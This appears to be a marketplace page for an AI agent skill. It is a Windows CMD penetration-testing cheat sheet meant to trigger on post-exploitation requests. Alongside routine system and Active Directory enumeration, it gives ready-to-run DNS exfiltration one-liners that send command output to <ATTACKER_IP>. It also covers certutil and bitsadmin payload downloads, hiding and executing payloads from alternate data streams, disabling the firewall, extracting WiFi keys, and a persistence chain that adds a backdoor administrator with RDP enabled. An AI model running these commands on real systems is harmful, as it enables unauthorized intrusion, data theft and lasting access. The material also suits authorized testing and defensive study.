# Windows Cmd Pentest

> Windows Command Line reference for penetration testing and security assessment. Use this skill whenever the user needs Windows CMD commands for reconnaissance, enumeration, privilege escalation, persistence, or post-exploitation activities. Trigger on requests about Windows pentesting, CMD commands, AD enumeration, system info gathering, or Windows security assessment.

- Skill: `abelrguezr/windows-cmd-pentest` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/windows-cmd-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/windows-cmd-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/windows-cmd-pentest

---


# Windows CMD Pentesting Reference

A comprehensive command reference for Windows penetration testing and security assessment using native CMD tools.

## System Enumeration

### Architecture and Version
```cmd
wmic os get osarchitecture
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic computersystem LIST full
```

### Patches and Updates
```cmd
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe list brief
```

### Environment Variables
```cmd
set
```

Key variables to check:
- `COMPUTERNAME` - Computer name
- `TEMP/TMP` - Temp folder location
- `USERNAME` - Current username
- `USERPROFILE` - Home directory
- `windir` - Windows directory (C:\Windows)
- `LOGONSERVER` - Domain controller name
- `USERDNSDOMAIN` - DNS domain name
- `USERDOMAIN` - Domain name

### Disk and Storage
```cmd
wmic logicaldisk get caption,description,providername
fsutil fsinfo drives
```

### Processes and Services
```cmd
tasklist /V
tasklist /SVC
net start
wmic service list brief
sc query
```

### Scheduled Tasks
```cmd
schtasks /query /fo LIST /v
schtasks /query /fo LIST 2>nul | findstr TaskName
```

### Installed Software
```cmd
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
```

## Active Directory Enumeration

### Domain Information
```cmd
echo %USERDOMAIN%
echo %USERDNSDOMAIN%
echo %logonserver%
gpresult /V
wmic ntdomain list /format:list
```

### User Enumeration
```cmd
dsquery user
net user /domain
net user <ACCOUNT_NAME> /domain
wmic useraccount list /format:list
wmic sysaccount list /format:list
```

### Group Enumeration
```cmd
net group /domain
net localgroup administrators /domain
net group "Domain Admins" /domain
net group "domain computers" /domain
net group "Domain Controllers" /domain
wmic group list /format:list
```

### Computer Enumeration
```cmd
dsquery computer
net view /domain
nltest /dclist:<DOMAIN>
```

### Trust Relationships
```cmd
nltest /domain_trusts
```

### Query Specific OU
```cmd
dsquery * "CN=Users,DC=DOMAIN,DC=LOCAL"
```

## User and Group Management

### Current User Info
```cmd
whoami /all
whoami /priv
net user %username%
```

### Local Users
```cmd
net users
dir /b /ad "C:\Users"
net accounts
wmic USERACCOUNT Get Domain,Name,Sid
```

### Create User
```cmd
net user [username] [password] /add
```

### Domain User Creation
```cmd
net user username password /ADD /DOMAIN
```

### Add to Administrators
```cmd
net localgroup Administrators [username] /add
net group "Domain Admins" username /ADD /DOMAIN
```

### Add to Special Groups
```cmd
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```

### Check Logged-in Users
```cmd
qwinsta
klist sessions
```

### Run as Different User
```cmd
runas /netonly /user:<DOMAIN><NAME> "cmd.exe"
runas /savecred /user:WORKGROUP\Administrator "<command>"
```

## Credential Discovery

### Saved Credentials
```cmd
cmdkey /list
vaultcmd /listcreds:"Windows Credentials" /all
rundll32 keymgr.dll, KRShowKeyMgr
```

### Password Policy
```cmd
net accounts
net accounts /domain
```

## Network Reconnaissance

### Network Configuration
```cmd
ipconfig /all
route print
arp -a
netstat -ano
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```

### Firewall
```cmd
netsh firewall show state
netsh advfirewall firewall show rule name=all
netsh firewall show config
Netsh Advfirewall show allprofiles
```

### Disable Firewall
```cmd
NetSh Advfirewall set allprofiles state off
netsh firewall set opmode disable
```

### Enable Firewall
```cmd
NetSh Advfirewall set allprofiles state on
```

### Open Ports
```cmd
netsh advfirewall firewall add rule name="Rule Name" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="Rule Name" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
```

### Enable Remote Desktop
```cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
```

### Enable Remote Desktop via WMIC
```cmd
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
```

### Enable Remote Assistance
```cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
```

### Network Shares
```cmd
net view
net view /all /domain [domainname]
net view \\computer /ALL
net use x: \\computer\share
net share
```

### WiFi Credentials
```cmd
netsh wlan show profile
netsh wlan show profile <SSID> key=clear
```

### SNMP Configuration
```cmd
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```

## File Operations

### Basic Commands
```cmd
cd
cd C:\path\to\dir
dir
dir /a:h C:\path\to\dir
dir /s /b
time
date
type <file>
```

### Hide/Unhide Files
```cmd
attrib +h file
attrib -h file
```

### File Permissions
```cmd
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME>
```

### Copy to SMB
```cmd
xcopy /hievry C:\source\path \\10.10.14.13\share\path
```

### Shutdown
```cmd
shutdown /r /t 0
```

## Download Techniques

### BitsAdmin
```cmd
bitsadmin /create <jobname>
bitsadmin /addfile <jobname> <url> <localpath>
bitsadmin /RESUME <jobname>
bitsadmin /complete <jobname>
```

### CertUtil
```cmd
certutil.exe -urlcache -split -f "http://<url>/file.exe" <localpath>.exe
```

### CertReq
```cmd
CertReq -Post -config <url> <localpath>
```

## Alternate Data Streams (ADS)

### Detect ADS
```cmd
dir /r
```

### Read ADS
```cmd
more file.txt:ads.txt
powershell (Get-Content file.txt -Stream ads.txt)
```

### Write to ADS
```cmd
type C:\temp\evil.exe > "C:\path\logfile.log:evil.exe"
certutil.exe -urlcache -split -f <url> c:\temp:streamname
```

### Extract from ADS
```cmd
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
```

### Execute from ADS
```cmd
wmic process call create "'C:\path\file.log:evil.exe'"
powershell -ep bypass - < c:\temp:streamname
```

## DNS Exfiltration

### Send Command Output via DNS
```cmd
for /f %a in ('whoami') do nslookup %a <ATTACKER_IP>
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <ATTACKER_IP>
for /f "tokens=1,2,3" %a in ('dir /B C:') do nslookup %a.%b.%c <ATTACKER_IP>
```

### Handle Spaces in Paths
```cmd
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <ATTACKER_IP>
```

### Redirect and Exfiltrate
```cmd
whoami /priv | findstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <ATTACKER_IP>
```

## Bypass Techniques

### Character Blacklisting
```cmd
echo %HOMEPATH:~6,-11%   # Outputs backslash
who^ami   # Bypasses whoami
```

### Error Messages
```cmd
net helpmsg <error_code>
```

### URL ACLs
```cmd
netsh http show urlacl
```

## Persistence Quick Reference

### Full Persistence Chain
```cmd
net user hacker Hacker123! /add & \
net localgroup administrators hacker /add & \
net localgroup "Remote Desktop Users" hacker /add & \
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & \
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & \
netsh firewall add portopening TCP 3389 "Remote Desktop" & \
netsh firewall set service remoteadmin enable
```

## Common Reconnaissance Patterns

### Quick System Info
```cmd
hostname & systeminfo | findstr /B /C:"OS Name" /C:"OS Version" & whoami /all
```

### Quick Domain Info
```cmd
echo %USERDOMAIN% & echo %logonserver% & net user /domain | findstr /v "------------"
```

### Quick Network Info
```cmd
ipconfig /all & netstat -ano | findstr LISTENING
```

### Quick Privilege Check
```cmd
whoami /priv | findstr /i "enable"
```

## Tips

1. **Use `2>nul`** to suppress error messages when commands might fail
2. **Use `findstr`** to filter output for specific keywords
3. **Use `^`** to escape special characters in commands
4. **Use `&`** to chain multiple commands on one line
5. **Use `|`** to pipe output between commands
6. **Check `LOLBAS`** (https://lolbas-project.github.io/) for more living-off-the-land binaries
7. **Use short paths** (e.g., `Progra~2`) when dealing with spaces in paths
8. **Save output** to files for later analysis: `command > output.txt`

## When to Use This Skill

Use this skill when you need:
- Windows CMD commands for penetration testing
- Active Directory enumeration techniques
- System reconnaissance on Windows targets
- Privilege escalation command references
- Persistence mechanism examples
- Network share and credential discovery
- File operation commands for Windows
- Bypass techniques for restricted environments